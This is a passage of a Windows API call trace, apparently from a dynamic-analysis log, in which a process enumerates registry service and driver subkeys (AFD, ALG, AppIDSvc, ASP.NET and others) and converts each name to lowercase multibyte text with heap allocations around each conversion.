cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.622] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.623] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0232.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0232.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.623] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0232.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0232.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.623] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0232.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0232.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.624] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0232.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0232.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.624] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0232.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0232.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.624] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0232.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0232.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0232.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0232.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0232.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0232.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0232.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0232.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0232.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0232.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0232.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0232.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0232.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0232.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0232.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0232.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0232.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0232.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0232.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0232.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0232.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0232.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0232.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0232.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0232.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0232.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0232.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0232.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0232.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.628] RtlFreeHeap 